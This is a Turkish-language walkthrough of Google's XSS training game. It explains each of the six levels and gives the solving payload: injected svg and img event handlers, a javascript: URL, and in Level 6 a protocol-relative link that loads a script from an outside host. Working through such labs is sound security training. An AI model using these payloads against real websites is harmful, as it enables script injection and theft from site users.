Google XSS Oyunu
Google XSS güvenlik açığına karşı ne kadar hassas olduğunu belirten ve insanların bu konuda kendilerini geliştirmelerini sağlayan bir oyun hazırladı. Bu oyunda toplam 6 level bulunmakta. Bu yazının devamını okumadan önce level’ları geçmeye çalışmanızı öneririm.
Level çözümlerinde gerekmediği sürece detaylara değinilmemiştir. Detaylı araştırmalar yapmak için ilgili level’a özgür keyword’ler çözümlerin altında paylaşılmış durumdadır.
Level – 1
Karşımızda iframe ile çağırılmış bir sayfa bulunmakta. Başlangıçta çok kolay bir level bizi beklemekte. Arama kısmına aşağıdaki XSS Payload’ını yazarak level’i geçebilirsiniz.
"><svg onload=alert(1)>
Keyword : Reflected XSS
Level – 2
Web uygulamaları veri tabanları ile iletişim halindedirler. Eğer veri tabanında bulunan bir değer kullanıcı tarafından oluşturulmuş ise -yazılan yorumlar gibi- ve bu veri encode edilmeden kullanıcı tarafına iletiliyorsa XSS oluşabilir. Bu durumun simüle edildiği bu örnekte yorum kısmına aşağıdaki XSS Payload’ı yazılabilir.
<svg onload=alert(1)>
Keyword: Stored XSS
Level – 3
Web uygulamaları genellikle 3. parti yazılımları bünyesinde barındırırlar. Eğer 3. parti yazılımlar üzerinde güvelik testleri gerçekleştirilmeden yazılıma entregrasyonu yapılırsa güvenlik açıklarına sebebiyet verilmiş olabilir. Bu örnekte bir Javascript kodunda güvenlik açığı olduğu görülmektedir.
var html = "Image " + parseInt(num) + "<br>"; html += "<img src='/static/level3/cloud" + num + ".jpg' />"; $('#tabContent').html(html);
Görüldüğü üzere tabContent id’li alana bir html image kodu eklenmekte. Bu imaj konu kullanıcı tarafından gönderilen num değerini içermekte. Bu noktada aşağıdaki şekilde img tag’i manipüle edilerek XSS zafiyeti kullanılmış olur.
http://xss-game.appspot.com/level3/frame#'onmouseover='alert(1)
Keyword: DOM XSS
Level – 4
İlk 3 level’da tüm XSS türlerine giriş yapılmıştı. Bu level biraz daha farklı ve açıkcası beni bir süre düşündürmeyi başarmış bir level oldu.
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
Yukarıda kod incelendiğinde, kullanıcıdan alınan girdinin startTimer fonksiyonuna parametre olarak aktarıldığı görülmektedir.
Kullanıcı girdisi olarak = 3’+alert(1)+’4
Yazılırsa html kod aşağıdaki şekile gelecektir ve XSS çalışmış olacaktır.
<img src="/static/loading.gif" onload="startTimer('3'+alert(1)+'4');" />
Keyword : HTML Attribute
Level – 5
Bu level’da ki girizahı çok beğenmekteyim. Özellikle her şeyin encoding/escaping olduğunu düşünen developerlara olayı çok güzel simüle eden bir level.
<a href="{{ next }}">Next >></a>
Buradaki next değişkeni kullanıcı tarafından gelmekte. Olay şı ki a tag’inin href attribute’unda javascript çağrısı yapılabilmekte.
http://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Şimdi linke tıklayın. Bu XSS payload’ında htmlentities vb fonksiyonların encode edeceği hiçbir karakter bulunmamasına rağmen XSS çalışmakta!
Level – 6
html script taglerinin src kısımları önemli alanlardır. Bu alanlara kullanıcı tarafından tanımlanmış değerler geldiği zaman, kullanıcılar farklı kaynaklardan JS include edebilirler. Bunu engellemek için aşağıdaki şekilde bir önlem alınmış bulunmaktadır.
if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; }
Görüldüğü üzere kullanıcı girdisi eğer http vb bir yapı ile başlıyorsa bu dosyanın çağırılması engellenmektedir. Bunu aşmak için modern browserların url tanımlama imkanları bilinmelidir. IMG, SCRIPT, EMBED gibi taglerin src kısımlarına her zaman http:// ile başlayarak url tanımlaması yapılması zorunlu değildir.
http://xss-game.appspot.com/level6/frame#//lab.mehmetince.net/i.js
Keyword : XSS html src tag